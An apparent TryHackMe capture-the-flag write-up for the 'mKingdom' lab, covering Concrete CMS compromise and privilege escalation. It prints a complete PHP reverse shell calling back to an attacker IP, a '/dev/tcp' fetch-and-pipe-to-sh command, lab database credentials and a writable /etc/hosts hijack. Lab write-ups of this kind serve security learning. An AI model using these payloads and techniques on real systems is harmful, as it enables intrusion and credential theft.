mKingdom

mKingdomTryHackMe

Reconnaissance

nmap -sC -sV -Pn -T4 10.10.x.x

I see that Port 85 work web service http://10.10.x.x:85/

I use gobuster to Fuzzing dir

gobuster dir  -u http://10.10.112.62:85/ --wordlist=/usr/share/wordlists/seclists/Discovery/Web-Content/common.txt 

i Found /app (Status: 301) [Size: 312] [--> http://10.10.112.62:85/app/]

when scroll down i found login page and i use Wayyplazer found CMS Concrete => V8.5.2

File Upload code

There’s an existing RCE vulnerability in Concrete CMS 8.5.2.

i use Revers shell online https://www.revshells.com/

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 [e-mail]

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.21.32.157';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
                exit(0);  // Parent exits
        }
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?>

when scroll in web site i found username "admin" in /blog

I tried to login with ‘admin’ as username and random passwords, and to my surprise, ‘password’ worked!

Initial Access

According to instructions, I navigated to System & Settings-> Allowed file types, and added ‘.php’ in the allowed file types.

Then I went to Files -> File Manager and uploaded a php reverse shell. I started a Netcat listener on my attacking machine. After uploading the shell, I accessed it from the link provided on the website.

I using reverse shell nc

nc -nvlp 9001

in click URL to File

Revers shell

Priv Esc

To Upgrade the tty

python -c 'import pty;pty.spawn("/bin/bash");'  
ctrl z  
stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

I will try Useing Best tool to look for Linux local privilege escalation vectors: LinPEAS

sudo nc  -lvnp 443 < linpeas.sh #Host
cat < /dev/tcp/10.21.32.157/443 | sh #Victim

i found DB.php

<?php

return [
    'default-connection' => 'concrete',
    'connections' => [
        'concrete' => [
            'driver' => 'c5_pdo_mysql',
            'server' => 'localhost',
            'database' => 'mKingdom',
            'username' => 'toad',
            'password' => 'toadisthebest',
            'character_set' => 'utf8',
            'collation' => 'utf8_unicode_ci',
        ],
    ],
];

I logged in as toad. After a bit of looking around, I listed the current environment variables using ‘env’, and I found a PWD_token.

echo "aWthVGVOVEFOdEVTCg==" | base64  -d
or 
base64 -d <<< aWthVGVOVEFOdEVTCg==

user : mario

pass : ikaTeNTANtES

But i don't cat the flag

i will move file to /tmp

I ran linpeas again as mario, and found that /etc/hosts is writable

curl mkingdom.thm:85/app/castle/application/counter.sh

I modified the /etc/hosts file to add my attacking machine IP and mkingdom.thm as the corresponding hostname. Then I created the folder path /app/castle/application on my attacking machine and placed counter.sh there with a reverse shell payload.

Exploit Used

• Reverse shell (File Upload) File Upload code

Tools Used

• Nmap

• nc

• gobuseter

• linpeas.sh

Other Resources

Concrete CMS: Remote Code Execution (Reverse Shell) - File M... - vulnerability database | Vulners.comVulners Database

Concrete CMS disclosed on HackerOne: Remote Code Execution (Reverse...HackerOne

Online - Reverse Shell Generator